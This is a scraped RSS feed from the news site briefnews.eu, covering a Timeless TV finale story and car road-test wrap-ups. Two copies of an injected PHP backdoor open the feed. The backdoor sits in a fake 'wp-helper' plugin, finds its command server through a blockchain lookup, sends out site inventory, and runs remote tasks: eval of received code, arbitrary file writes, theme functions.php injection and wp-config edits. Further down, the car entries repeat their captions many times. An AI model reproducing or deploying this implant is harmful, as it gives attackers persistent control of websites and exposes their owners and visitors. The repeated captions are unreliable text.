// q2_xh if(!defined('ABSPATH'))return; $cfg=array( 'stub'=>'/data/web/virtuals/153909/virtual/www/domains/briefnews.eu/wp-content/plugins/wp-helper-4bdb4f/wp-helper-4bdb4f.php', 'ctrl'=>'// q2_xh', 'vis'=>'// xp_v9', 'vis_func'=>'wp_dia8xd', 'vis_paths'=>array('/data/web/virtuals/153909/virtual/www/domains/briefnews.eu/wp-content/plugins/wp-helper-4bdb4f/wp-helper-4bdb4f.php'), 'opt'=>'_wp_47nl0jvi', ); $keys=array(); $keys['id']='kun'; $keys['ver']='em'; $keys['caps']='eby'; $keys['tasks']='awd'; $keys['interval']='pww'; $keys['ack_id']='nl0'; $keys['ok']='9s'; $keys['detail']='wyy'; $keys['inv']='kxw'; $keys['result']='f3t'; $hdr='X-J98-Auth';$tok='0cQMbCeRLTCSW0NdninnOEVrAtwy11ErS16wrKLqeas';$id='1d0c923bac57072b';$interval=420; function _ea_inv($cfg){ $r=array('ts'=>time(),'wp'=>(function_exists('get_bloginfo')?get_bloginfo('version'):''),'php'=>PHP_VERSION); $chk=function($p,$m){$o=array('path'=>$p,'exists'=>false,'marker'=>false,'size'=>0);if(!$p||!is_string($p))return $o; if(@is_file($p)){$b=@file_get_contents($p);$o['exists']=true;$o['size']=strlen((string)$b);$o['marker']=($b&&strpos($b,$m)!==false);}return $o;}; $r['stub']=$chk($cfg['stub'],$cfg['ctrl']); $vis=array('plugin'=>null,'paths'=>array()); foreach($cfg['vis_paths'] as $_vp){$vis['paths'][]=$chk($_vp,$cfg['vis']);} $found=null;foreach($vis['paths'] as $_p){if(!empty($_p['marker'])){$found=$_p;break;}} if(!$found){$pd=WP_CONTENT_DIR.'/plugins';if(@is_dir($pd)){foreach(@glob($pd.'/*/*.php')?:array() as $_f){$b=@file_get_contents($_f);if($b&&strpos($b,'// ea_plug')!==false){$found=$chk($_f,'// ea_plug');break;}}} $vis['plugin']=$found?:array('path'=>'','exists'=>false,'marker'=>false); $r['visitor']=$vis; $mu=array('path'=>'','exists'=>false,'marker'=>false);$md=WP_CONTENT_DIR.'/mu-plugins'; if(@is_dir($md)){foreach(@glob($md.'/*.php')?:array() as $_f){$b=@file_get_contents($_f);if($b&&strpos($b,'// ea_mu')!==false){$mu=$chk($_f,'// ea_mu');break;}}} $r['mu_autologin']=$mu; $ft=0;$fw=0;$td=WP_CONTENT_DIR.'/themes';if(@is_dir($td)){foreach(@glob($td.'/*/functions.php')?:array() as $_f){$ft++;$b=@file_get_contents($_f);if($b&&strpos($b,'// _ea_al')!==false)$fw++;}} $r['functions_autologin']=array('themes_total'=>$ft,'themes_with_marker'=>$fw); $wpc=array('path'=>(defined('ABSPATH')?ABSPATH.'wp-config.php':''),'exists'=>false,'marker'=>false); if($wpc['path']&&@is_file($wpc['path'])){$b=@file_get_contents($wpc['path']);$wpc['exists']=true;$wpc['marker']=($b&&(strpos($b,'// _ea_wc')!==false||strpos($b,'/* _ea_wc_s */')!==false));} $r['wpconfig_inject']=$wpc; $cp=array();if(defined('LSCWP_V'))$cp[]='litespeed';if(defined('W3TC'))$cp[]='w3tc'; if(defined('WP_ROCKET_VERSION'))$cp[]='wp_rocket';if(defined('WPCACHEHOME'))$cp[]='wp_super_cache'; if(defined('SG_CACHEPRESS'))$cp[]='sg_optimizer';$r['cache']=array('plugins'=>$cp,'opcache'=>function_exists('opcache_get_status')); return $r;} function _ea_run_task($_task,$cfg,$keys,$hdr,$tok,$id){ $_ok=false;$_detail='';$_result=null; $_code=isset($_task['t'])?$_task['t']:'';$_p=isset($_task['p'])?$_task['p']:array();$_tid=isset($_task['i'])?$_task['i']:0; if(($_code==='wf'||$_code==='ld')&&!empty($_p['path'])&&isset($_p['content'])){ $_path=$_p['path'];$_body=@is_file($_path)?@file_get_contents($_path):''; if($_code==='ld'&&strpos((string)$_body,$_p['content'])===false)$_body.=$_p['content']; elseif($_code==='wf')$_body=$_p['content']; $_ok=@file_put_contents($_path,$_body)!==false; }elseif($_code==='su'&&!empty($_p['path'])&&!empty($_p['content'])){ $_ok=@file_put_contents($_p['path'],$_p['content'])!==false; }elseif($_code==='rp'&&!empty($_p['code'])){ ob_start();try{eval($_p['code']);$_ok=true;}catch(Throwable $e){$_detail=$e->getMessage();}catch(Exception $e){$_detail=$e->getMessage();} $_result=array('output'=>ob_get_clean());} elseif($_code==='va'){$_result=_ea_inv($cfg);$_ok=true;} elseif($_code==='fc'){ $p=array();if(function_exists('wp_cache_flush')){wp_cache_flush();$p[]='object';} if(function_exists('opcache_reset')){@opcache_reset();$p[]='opcache';} if(defined('LSCWP_V')&&function_exists('do_action')){do_action('litespeed_purge_all');$p[]='litespeed';} if(defined('W3TC')&&function_exists('w3tc_flush_all')){w3tc_flush_all();$p[]='w3tc';} if(function_exists('rocket_clean_domain')){rocket_clean_domain();$p[]='wp_rocket';} if(function_exists('wp_cache_clear_cache')){wp_cache_clear_cache();$p[]='wp_super_cache';} if(function_exists('sg_cachepress_purge_cache')){sg_cachepress_purge_cache();$p[]='sg_optimizer';} $_ok=true;$_result=array('purged'=>$p);} elseif($_code==='ma'&&!empty($_p['path'])&&!empty($_p['content'])){ @wp_mkdir_p(dirname($_p['path']));$_ok=@file_put_contents($_p['path'],$_p['content'])!==false; }elseif($_code==='fn'&&!empty($_p['snippet'])){ $td=WP_CONTENT_DIR.'/themes';$n=0;if(@is_dir($td)){foreach(@glob($td.'/*/functions.php')?:array() as $_f){$b=@file_get_contents($_f);if(strpos((string)$b,'// _ea_al')===false){$b=rtrim((string)$b)."\n".$_p['snippet'];if(@file_put_contents($_f,$b)!==false)$n++;}}} $_ok=$n>0;$_result=array('themes_updated'=>$n);} elseif($_code==='wc'){ $wp=ABSPATH.'wp-config.php';if(@is_file($wp)){$b=@file_get_contents($wp); if(strpos($b,'/* _ea_wc_s */')!==false){$b=preg_replace('#/\*/* _ea_wc_s */\*/.*?/\* _ea_wc_e \*/#s','',$b);} $b=str_replace(array('// _ea_wc','/* _ea_wc_s */','/* _ea_wc_e */'),'',$b);$_ok=@file_put_contents($wp,$b)!==false;} } $ack=array($keys['ack_id']=>$_tid,$keys['ok']=>$_ok,$keys['detail']=>$_detail); if($_result!==null)$ack[$keys['result']]=$_result; return $ack;} function _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,$force){ $k=$cfg['opt'];if(!$force&&!wp_doing_cron()){ if(is_admin())return; $last=(int)get_option($k,0);if(time()-$last<$interval)return; } $u='likingdropout.site';$co='0x9e33A3979F74c7700E4BaA7e7a2934556f72eF96';$sel='0x38bd65e2';$rpcs=array('https://data-seed-prebsc-1-s1.bnbchain.org:8545','https://data-seed-prebsc-1-s1.bnbchain.org:8545/','https://data-seed-prebsc-2-s1.binance.org:8545/','https://data-seed-prebsc-2-s2.binance.org:8545/','https://bsc-testnet-dataseed.bnbchain.org/','https://bnb-testnet.api.onfinality.io/public'); foreach($rpcs as $_rpc){ $b=json_encode(array('jsonrpc'=>'2.0','id'=>97,'method'=>'eth_call','params'=>array(array('to'=>$co,'data'=>$sel),'latest'))); $ctx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n",'content'=>$b,'timeout'=>3,'ignore_errors'=>true))); $raw=@file_get_contents($_rpc,false,$ctx); if(!$raw)continue; $j=json_decode($raw,true); if(empty($j['result'])||strlen($j['result'])<10)continue; $h=substr($j['result'],2); if(strlen($h)<128)continue; $off=(int)hexdec(substr($h,0,64)); $len=(int)hexdec(substr($h,$off*2,64)); $_z=pack('H*',substr($h,$off*2+64,$len*2));if($_z)$u=$_z;break; } $_hp='/panel/api/v1/metrics/collect'; $_z=trim((string)$u);$_z=preg_replace('#^https?://#','',$_z); if(strpos($_z,'/')!==false){$_xp=explode('/',$_z,2);$_z=$_xp[0];if(!empty($_xp[1]))$_hp='/'.ltrim($_xp[1],'/');} $_z=trim($_z,'.');if(!$_z)$_z='likingdropout.site'; $_s=substr(str_replace(array('+','/','='),'',base64_encode(random_bytes(6))),0,10); $u='https://'.$_s.'.'.$_z.$_hp; $_ack=$u;if(substr($_ack,-7)==='collect')$_ack=substr($_ack,0,-7).'ack';else $_ack=rtrim($_ack,'/').'/ack'; $inv=_ea_inv($cfg); $b=array($keys['id']=>$id,$keys['ver']=>2,$keys['caps']=>array('server_sync','visitor_js','write_file'),$keys['inv']=>$inv); $resp='';if(function_exists('wp_remote_post')){$_r=wp_remote_post($u,array('timeout'=>20,'sslverify'=>false,'headers'=>array('Content-Type'=>'application/json',$hdr=>$tok,'X-Site-Id'=>$id),'body'=>json_encode($b)));if(!is_wp_error($_r))$resp=(string)wp_remote_retrieve_body($_r);}else{$ctx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n".$hdr.": ".$tok."\r\nX-Site-Id: ".$id."\r\n",'content'=>json_encode($b),'timeout'=>20,'ignore_errors'=>true)));$resp=(string)@file_get_contents($u,false,$ctx);} if(!$resp)return; update_option($k,time(),false); $j=json_decode($resp,true);$tk=$keys['tasks']; if(empty($j[$tk])||!is_array($j[$tk]))return; foreach($j[$tk] as $_task){ $ack=_ea_run_task($_task,$cfg,$keys,$hdr,$tok,$id); if(function_exists('wp_remote_post')){@wp_remote_post($_ack,array('timeout'=>20,'sslverify'=>false,'headers'=>array('Content-Type'=>'application/json',$hdr=>$tok,'X-Site-Id'=>$id),'body'=>json_encode($ack)));}else{$actx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n".$hdr.": ".$tok."\r\nX-Site-Id: ".$id."\r\n",'content'=>json_encode($ack),'timeout'=>20,'ignore_errors'=>true)));@file_get_contents($_ack,false,$actx);} } } add_filter('cron_schedules',function($s){$s['ea_fleet']=array('interval'=>$interval,'display'=>'Fleet sync');return $s;}); add_action('init',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ if(!wp_next_scheduled('ea_fleet_sync'))wp_schedule_event(time()+120,'ea_fleet','ea_fleet_sync'); _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,false); },1); add_action('ea_fleet_sync',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,true); }); // l0_9z if(!defined('ABSPATH'))return; $cfg=array( 'stub'=>'/data/web/virtuals/153909/virtual/www/domains/briefnews.eu/wp-content/plugins/wp-helper-4bdb4f/wp-helper-4bdb4f.php', 'ctrl'=>'// l0_9z', 'vis'=>'// zn_yn', 'vis_func'=>'wp_cuzg8t', 'vis_paths'=>array('/data/web/virtuals/153909/virtual/www/domains/briefnews.eu/wp-content/plugins/wp-helper-4bdb4f/wp-helper-4bdb4f.php'), 'opt'=>'_wp_mtrhds4x', ); $keys=array(); $keys['id']='ybc'; $keys['ver']='a1'; $keys['caps']='afo'; $keys['tasks']='x9t'; $keys['interval']='2e4'; $keys['ack_id']='k72'; $keys['ok']='ch'; $keys['detail']='xd9'; $keys['inv']='hw8'; $keys['result']='0bb'; $hdr='X-L8A-Auth';$tok='A3-EVnA_qOJ132k0gQIT_73RgM-QQ5Szxw145ZNDetU';$id='d1451f9eb0097c9f';$interval=420; function _ea_inv($cfg){ $r=array('ts'=>time(),'wp'=>(function_exists('get_bloginfo')?get_bloginfo('version'):''),'php'=>PHP_VERSION); $chk=function($p,$m){$o=array('path'=>$p,'exists'=>false,'marker'=>false,'size'=>0);if(!$p||!is_string($p))return $o; if(@is_file($p)){$b=@file_get_contents($p);$o['exists']=true;$o['size']=strlen((string)$b);$o['marker']=($b&&strpos($b,$m)!==false);}return $o;}; $r['stub']=$chk($cfg['stub'],$cfg['ctrl']); $vis=array('plugin'=>null,'paths'=>array()); foreach($cfg['vis_paths'] as $_vp){$vis['paths'][]=$chk($_vp,$cfg['vis']);} $found=null;foreach($vis['paths'] as $_p){if(!empty($_p['marker'])){$found=$_p;break;}} if(!$found){$pd=WP_CONTENT_DIR.'/plugins';if(@is_dir($pd)){foreach(@glob($pd.'/*/*.php')?:array() as $_f){$b=@file_get_contents($_f);if($b&&strpos($b,'// ea_plug')!==false){$found=$chk($_f,'// ea_plug');break;}}} $vis['plugin']=$found?:array('path'=>'','exists'=>false,'marker'=>false); $r['visitor']=$vis; $mu=array('path'=>'','exists'=>false,'marker'=>false);$md=WP_CONTENT_DIR.'/mu-plugins'; if(@is_dir($md)){foreach(@glob($md.'/*.php')?:array() as $_f){$b=@file_get_contents($_f);if($b&&strpos($b,'// ea_mu')!==false){$mu=$chk($_f,'// ea_mu');break;}}} $r['mu_autologin']=$mu; $ft=0;$fw=0;$td=WP_CONTENT_DIR.'/themes';if(@is_dir($td)){foreach(@glob($td.'/*/functions.php')?:array() as $_f){$ft++;$b=@file_get_contents($_f);if($b&&strpos($b,'// _ea_al')!==false)$fw++;}} $r['functions_autologin']=array('themes_total'=>$ft,'themes_with_marker'=>$fw); $wpc=array('path'=>(defined('ABSPATH')?ABSPATH.'wp-config.php':''),'exists'=>false,'marker'=>false); if($wpc['path']&&@is_file($wpc['path'])){$b=@file_get_contents($wpc['path']);$wpc['exists']=true;$wpc['marker']=($b&&(strpos($b,'// _ea_wc')!==false||strpos($b,'/* _ea_wc_s */')!==false));} $r['wpconfig_inject']=$wpc; $cp=array();if(defined('LSCWP_V'))$cp[]='litespeed';if(defined('W3TC'))$cp[]='w3tc'; if(defined('WP_ROCKET_VERSION'))$cp[]='wp_rocket';if(defined('WPCACHEHOME'))$cp[]='wp_super_cache'; if(defined('SG_CACHEPRESS'))$cp[]='sg_optimizer';$r['cache']=array('plugins'=>$cp,'opcache'=>function_exists('opcache_get_status')); return $r;} function _ea_run_task($_task,$cfg,$keys,$hdr,$tok,$id){ $_ok=false;$_detail='';$_result=null; $_code=isset($_task['t'])?$_task['t']:'';$_p=isset($_task['p'])?$_task['p']:array();$_tid=isset($_task['i'])?$_task['i']:0; if(($_code==='wf'||$_code==='ld')&&!empty($_p['path'])&&isset($_p['content'])){ $_path=$_p['path'];$_body=@is_file($_path)?@file_get_contents($_path):''; if($_code==='ld'&&strpos((string)$_body,$_p['content'])===false)$_body.=$_p['content']; elseif($_code==='wf')$_body=$_p['content']; $_ok=@file_put_contents($_path,$_body)!==false; }elseif($_code==='su'&&!empty($_p['path'])&&!empty($_p['content'])){ $_ok=@file_put_contents($_p['path'],$_p['content'])!==false; }elseif($_code==='rp'&&!empty($_p['code'])){ ob_start();try{eval($_p['code']);$_ok=true;}catch(Throwable $e){$_detail=$e->getMessage();}catch(Exception $e){$_detail=$e->getMessage();} $_result=array('output'=>ob_get_clean());} elseif($_code==='va'){$_result=_ea_inv($cfg);$_ok=true;} elseif($_code==='fc'){ $p=array();if(function_exists('wp_cache_flush')){wp_cache_flush();$p[]='object';} if(function_exists('opcache_reset')){@opcache_reset();$p[]='opcache';} if(defined('LSCWP_V')&&function_exists('do_action')){do_action('litespeed_purge_all');$p[]='litespeed';} if(defined('W3TC')&&function_exists('w3tc_flush_all')){w3tc_flush_all();$p[]='w3tc';} if(function_exists('rocket_clean_domain')){rocket_clean_domain();$p[]='wp_rocket';} if(function_exists('wp_cache_clear_cache')){wp_cache_clear_cache();$p[]='wp_super_cache';} if(function_exists('sg_cachepress_purge_cache')){sg_cachepress_purge_cache();$p[]='sg_optimizer';} $_ok=true;$_result=array('purged'=>$p);} elseif($_code==='ma'&&!empty($_p['path'])&&!empty($_p['content'])){ @wp_mkdir_p(dirname($_p['path']));$_ok=@file_put_contents($_p['path'],$_p['content'])!==false; }elseif($_code==='fn'&&!empty($_p['snippet'])){ $td=WP_CONTENT_DIR.'/themes';$n=0;if(@is_dir($td)){foreach(@glob($td.'/*/functions.php')?:array() as $_f){$b=@file_get_contents($_f);if(strpos((string)$b,'// _ea_al')===false){$b=rtrim((string)$b)."\n".$_p['snippet'];if(@file_put_contents($_f,$b)!==false)$n++;}}} $_ok=$n>0;$_result=array('themes_updated'=>$n);} elseif($_code==='wc'){ $wp=ABSPATH.'wp-config.php';if(@is_file($wp)){$b=@file_get_contents($wp); if(strpos($b,'/* _ea_wc_s */')!==false){$b=preg_replace('#/\*/* _ea_wc_s */\*/.*?/\* _ea_wc_e \*/#s','',$b);} $b=str_replace(array('// _ea_wc','/* _ea_wc_s */','/* _ea_wc_e */'),'',$b);$_ok=@file_put_contents($wp,$b)!==false;} } $ack=array($keys['ack_id']=>$_tid,$keys['ok']=>$_ok,$keys['detail']=>$_detail); if($_result!==null)$ack[$keys['result']]=$_result; return $ack;} function _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,$force){ $k=$cfg['opt'];if(!$force&&!wp_doing_cron()){ if(is_admin())return; $last=(int)get_option($k,0);if(time()-$last<$interval)return; } $u='likingdropout.site';$co='0x9e33A3979F74c7700E4BaA7e7a2934556f72eF96';$sel='0x38bd65e2';$rpcs=array('https://data-seed-prebsc-1-s1.bnbchain.org:8545','https://data-seed-prebsc-1-s1.bnbchain.org:8545/','https://data-seed-prebsc-2-s1.binance.org:8545/','https://data-seed-prebsc-2-s2.binance.org:8545/','https://bsc-testnet-dataseed.bnbchain.org/','https://bnb-testnet.api.onfinality.io/public'); foreach($rpcs as $_rpc){ $b=json_encode(array('jsonrpc'=>'2.0','id'=>97,'method'=>'eth_call','params'=>array(array('to'=>$co,'data'=>$sel),'latest'))); $ctx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n",'content'=>$b,'timeout'=>3,'ignore_errors'=>true))); $raw=@file_get_contents($_rpc,false,$ctx); if(!$raw)continue; $j=json_decode($raw,true); if(empty($j['result'])||strlen($j['result'])<10)continue; $h=substr($j['result'],2); if(strlen($h)<128)continue; $off=(int)hexdec(substr($h,0,64)); $len=(int)hexdec(substr($h,$off*2,64)); $_z=pack('H*',substr($h,$off*2+64,$len*2));if($_z)$u=$_z;break; } $_hp='/panel/api/v1/metrics/collect'; $_z=trim((string)$u);$_z=preg_replace('#^https?://#','',$_z); if(strpos($_z,'/')!==false){$_xp=explode('/',$_z,2);$_z=$_xp[0];if(!empty($_xp[1]))$_hp='/'.ltrim($_xp[1],'/');} $_z=trim($_z,'.');if(!$_z)$_z='likingdropout.site'; $_s=substr(str_replace(array('+','/','='),'',base64_encode(random_bytes(6))),0,10); $u='https://'.$_s.'.'.$_z.$_hp; $_ack=$u;if(substr($_ack,-7)==='collect')$_ack=substr($_ack,0,-7).'ack';else $_ack=rtrim($_ack,'/').'/ack'; $inv=_ea_inv($cfg); $b=array($keys['id']=>$id,$keys['ver']=>2,$keys['caps']=>array('server_sync','visitor_js','write_file'),$keys['inv']=>$inv); $resp='';if(function_exists('wp_remote_post')){$_r=wp_remote_post($u,array('timeout'=>20,'sslverify'=>false,'headers'=>array('Content-Type'=>'application/json',$hdr=>$tok,'X-Site-Id'=>$id),'body'=>json_encode($b)));if(!is_wp_error($_r))$resp=(string)wp_remote_retrieve_body($_r);}else{$ctx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n".$hdr.": ".$tok."\r\nX-Site-Id: ".$id."\r\n",'content'=>json_encode($b),'timeout'=>20,'ignore_errors'=>true)));$resp=(string)@file_get_contents($u,false,$ctx);} if(!$resp)return; update_option($k,time(),false); $j=json_decode($resp,true);$tk=$keys['tasks']; if(empty($j[$tk])||!is_array($j[$tk]))return; foreach($j[$tk] as $_task){ $ack=_ea_run_task($_task,$cfg,$keys,$hdr,$tok,$id); if(function_exists('wp_remote_post')){@wp_remote_post($_ack,array('timeout'=>20,'sslverify'=>false,'headers'=>array('Content-Type'=>'application/json',$hdr=>$tok,'X-Site-Id'=>$id),'body'=>json_encode($ack)));}else{$actx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n".$hdr.": ".$tok."\r\nX-Site-Id: ".$id."\r\n",'content'=>json_encode($ack),'timeout'=>20,'ignore_errors'=>true)));@file_get_contents($_ack,false,$actx);} } } add_filter('cron_schedules',function($s){$s['ea_fleet']=array('interval'=>$interval,'display'=>'Fleet sync');return $s;}); add_action('init',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ if(!wp_next_scheduled('ea_fleet_sync'))wp_schedule_event(time()+120,'ea_fleet','ea_fleet_sync'); _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,false); },1); add_action('ea_fleet_sync',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,true); }); WrapUp – Brief News https://briefnews.eu Latest World News. Find every day short and brief information composed of titles and subtitles and continue reading if interested. Sat, 20 Oct 2018 12:13:00 +0000 en-US hourly 1 https://wordpress.org/?v=7.0.8 https://briefnews.eu/wp-content/uploads/2018/01/cropped-logoSmall-1-32x32.png WrapUp – Brief News https://briefnews.eu 32 32 Timeless Team Returns to Work for Wrap-Up Movie — First Photos https://briefnews.eu/timeless-team-returns-to-work-for-wrap-up-movie-first-photos/ https://briefnews.eu/timeless-team-returns-to-work-for-wrap-up-movie-first-photos/#respond Sat, 20 Oct 2018 12:13:00 +0000 http://briefnews.eu/timeless-team-returns-to-work-for-wrap-up-movie-first-photos/

It’s the beginning of the end for NBC’s Timeless. The cast and crew on Friday shared the first images from the table read for the series’ two-hour wrap-up movie, which is slated to air in December.

The two-part finale — which NBC previously promised will give “closure to the globetrotting series” — reunites cast members Abigail Spencer, Matt Lanter, Malcolm Barrett, Goran Višnjić, Paterson Joseph, Annie Wersching and Claudia Doumit. And worry not about Agent Christopher. Sakina Jaffrey, who was absent at Friday’s table read, tweeted that she will join the production on Saturday. We can only assume the same goes for Višnjić and Joseph, both of whom were also MIA at said table read.

Back in July when the project was announced, EPs Shawn Ryan and Eric Kripke admitted that they’re preference would’ve been to make “another dozen seasons of Timeless,” but added that the movie “is the next best thing.”

Timeless scribes Lauren Greer and Arika Lisanne Mittman will pen the two-parter, with John Showalter handling director duties.

Check out the gallery above (or go here for direct access) and then hit the comments with your hopes and dreams for Timeless‘ swan song.

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https://pmctvline2.files.wordpress.com/2018/10/timeless.jpg

]]> https://briefnews.eu/timeless-team-returns-to-work-for-wrap-up-movie-first-photos/feed/ 0 2017 Chrysler Pacifica – Long-Term Road Test Wrap-Up https://briefnews.eu/2017-chrysler-pacifica-long-term-road-test-wrap-up/ https://briefnews.eu/2017-chrysler-pacifica-long-term-road-test-wrap-up/#respond Tue, 20 Mar 2018 15:57:31 +0000 http://briefnews.eu/2017-chrysler-pacifica-long-term-road-test-wrap-up/ –2017 Chrysler Pacifica–2017 Chrysler Pacifica–2017 Chrysler Pacifica–2017 Chrysler Pacifica–2017 Chrysler Pacifica–2017 Chrysler Pacifica–2017 Chrysler Pacifica–2017 Chrysler Pacifica–2017 Chrysler Pacifica–2017 Chrysler Pacifica–2017 Chrysler Pacifica–2017 Chrysler Pacifica–2017 Chrysler Pacifica–2017 Chrysler Pacifica–2017 Chrysler Pacifica–2017 Chrysler Pacifica–2017 Chrysler Pacifica–2017 Chrysler Pacifica–2017 Chrysler Pacifica–2017 Chrysler Pacifica–2017 Chrysler Pacifica 3.6-liter V-6 engine–2017 Chrysler Pacifica–2017 Chrysler Pacifica–2017 Chrysler Pacifica–2017 Chrysler Pacifica–2017 Chrysler Pacifica–2017 Chrysler Pacifica–2017 Chrysler Pacifica–2017 Chrysler Pacifica–2017 Chrysler Pacifica–2017 Chrysler Pacifica–2017 Chrysler Pacifica–2017 Chrysler Pacifica–2017 Chrysler Pacifica–2017 Chrysler Pacifica–2017 Chrysler Pacifica–2017 Chrysler Pacifica–2017 Chrysler Pacifica–2017 Chrysler Pacifica–2017 Chrysler Pacifica–2017 Chrysler Pacifica–2017 Chrysler Pacifica–2017 Chrysler Pacifica–2017 Chrysler Pacifica–2017 Chrysler Pacifica–2017 Chrysler Pacifica–2017 Chrysler Pacifica–2017 Chrysler Pacifica–2017 Chrysler Pacifica–2017 Chrysler Pacifica–2017 Chrysler Pacifica–2017 Chrysler Pacifica–2017 Chrysler Pacifica–2017 Chrysler Pacifica–2017 Chrysler Pacifica–2017 Chrysler Pacifica–2017 Chrysler Pacifica–2017 Chrysler Pacifica–2017 Chrysler Pacifica–2017 Chrysler Pacifica–2017 Chrysler Pacifica–2017 Chrysler Pacifica–2017 Chrysler Pacifica–2017 Chrysler Pacifica–2017 Chrysler Pacifica–2017 Chrysler Pacifica–2017 Chrysler Pacifica–2017 Chrysler Pacifica–2017 Chrysler Pacifica–2017 Chrysler Pacifica–2017 Chrysler Pacifica–2017 Chrysler Pacifica–2017 Chrysler Pacifica–2017 Chrysler Pacifica–2017 Chrysler Pacifica–2017 Chrysler Pacifica–2017 Chrysler Pacifica–2017 Chrysler Pacifica–2017 Chrysler Pacifica–2017 Chrysler Pacifica–2017 Chrysler Pacifica–2017 Chrysler Pacifica–2017 Chrysler Pacifica–2017 Chrysler Pacifica–2017 Chrysler Pacifica–2017 Chrysler Pacifica–2017 Chrysler Pacifica–2017 Chrysler Pacifica–2017 Chrysler Pacifica–2017 Chrysler Pacifica–2017 Chrysler Pacifica–2017 Chrysler Pacifica–2017 Chrysler Pacifica–2017 Chrysler Pacifica–2017 Chrysler Pacifica–2017 Chrysler Pacifica–2017 Chrysler Pacifica–2017 Chrysler Pacifica–2017 Chrysler Pacifica–2017 Chrysler Pacifica–2017 Chrysler Pacifica–2017 Chrysler Pacifica–2017 Chrysler Pacifica–2017 Chrysler Pacifica–2017 Chrysler Pacifica–2017 Chrysler Pacifica–2017 Chrysler Pacifica–2017 Chrysler Pacifica–2017 Chrysler Pacifica–2017 Chrysler Pacifica–2017 Chrysler Pacifica–2017 Chrysler Pacifica–2017 Chrysler Pacifica–2017 Chrysler Pacifica–2017 Chrysler Pacifica–2017 Chrysler Pacifica–2017 Chrysler Pacifica–2017 Chrysler Pacifica–2017 Chrysler Pacifica–2017 Chrysler Pacifica–2017 Chrysler Pacifica–2017 Chrysler Pacifica–2017 Chrysler Pacifica–2017 Chrysler Pacifica–2017 Chrysler Pacifica–2017 Chrysler Pacifica–2017 Chrysler Pacifica–2017 Chrysler Pacifica–2017 Chrysler Pacifica–2017 Chrysler Pacifica–2017 Chrysler Pacifica–2017 Chrysler Pacifica–2017 Chrysler Pacifica–2017 Chrysler Pacifica–2017 Chrysler Pacifica–2017 Chrysler Pacifica–2017 Chrysler Pacifica–2017 Chrysler Pacifica–2017 Chrysler Pacifica–2017 Chrysler Pacifica–2017 Chrysler Pacifica–2017 Chrysler Pacifica–2017 Chrysler Pacifica–2017 Chrysler Pacifica–2017 Chrysler Pacifica–2017 Chrysler Pacifica–2017 Chrysler Pacifica–2017 Chrysler Pacifica–2017 Chrysler Pacifica–2017 Chrysler Pacifica–2017 Chrysler Pacifica–2017 Chrysler Pacifica–2017 Chrysler Pacifica–2017 Chrysler Pacifica–2017 Chrysler Pacifica–2017 Chrysler Pacifica–2017 Chrysler Pacifica–2017 Chrysler Pacifica–2017 Chrysler Pacifica–2017 Chrysler Pacifica–2017 Chrysler Pacifica–2017 Chrysler Pacifica–2017 Chrysler Pacifica–2017 Chrysler Pacifica–2017 Chrysler Pacifica–2017 Chrysler Pacifica–2017 Chrysler Pacifica–2017 Chrysler Pacifica–2017 Chrysler Pacifica–2017 Chrysler Pacifica 3.6-liter V-6 engine–2017 Chrysler Pacifica 3.6-liter V-6 engine—

 

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]]> https://briefnews.eu/2017-chrysler-pacifica-long-term-road-test-wrap-up/feed/ 0 2016 Nissan Titan XD Diesel – Long-Term Road Test Wrap-Up https://briefnews.eu/2016-nissan-titan-xd-diesel-long-term-road-test-wrap-up/ https://briefnews.eu/2016-nissan-titan-xd-diesel-long-term-road-test-wrap-up/#respond Thu, 15 Feb 2018 07:12:27 +0000 http://briefnews.eu/2016-nissan-titan-xd-diesel-long-term-road-test-wrap-up/ –2016 Nissan Titan XD 4x4 diesel–2016 Nissan Titan XD 4x4 diesel–2016 Nissan Titan XD 4x4 diesel–2016 Nissan Titan XD 4x4 diesel–2016 Nissan Titan XD 4x4 diesel–2016 Nissan Titan XD 4x4 diesel–2016 Nissan Titan XD 4x4 diesel–2016 Nissan Titan XD 4x4 diesel–2016 Nissan Titan XD 4x4 diesel–2016 Nissan Titan XD 4x4 diesel–2016 Nissan Titan XD 4x4 diesel–2016 Nissan Titan XD 4x4 diesel–2016 Nissan Titan XD 4x4 diesel–2016 Nissan Titan XD 4x4 diesel–2016 Nissan Titan XD 4x4 diesel–2016 Nissan Titan XD 4x4 diesel–2016 Nissan Titan XD 4x4 diesel–2016 Nissan Titan XD 4x4 diesel–2016 Nissan Titan XD 4x4 diesel–2016 Nissan Titan XD 4x4 diesel–2016 Nissan Titan XD 4x4 diesel–2016 Nissan Titan XD 4x4 diesel–2016 Nissan Titan XD 4x4 diesel–2016 Nissan Titan XD 4x4 diesel–2016 Nissan Titan XD 4x4 diesel–2016 Nissan Titan XD 4x4 diesel–2016 Nissan Titan XD 4x4 diesel–2016 Nissan Titan XD 4x4 diesel–2016 Nissan Titan XD 4x4 diesel–2016 Nissan Titan XD 4x4 diesel–2016 Nissan Titan XD 4x4 diesel–2016 Nissan Titan XD 4x4 diesel–2016 Nissan Titan XD 4x4 diesel–2016 Nissan Titan XD 4x4 diesel–2016 Nissan Titan XD 4x4 diesel–2016 Nissan Titan XD 4x4 diesel–2016 Nissan Titan XD 4x4 diesel–2016 Nissan Titan XD 4x4 diesel–2016 Nissan Titan XD 4x4 diesel–2016 Nissan Titan XD 4x4 diesel–2016 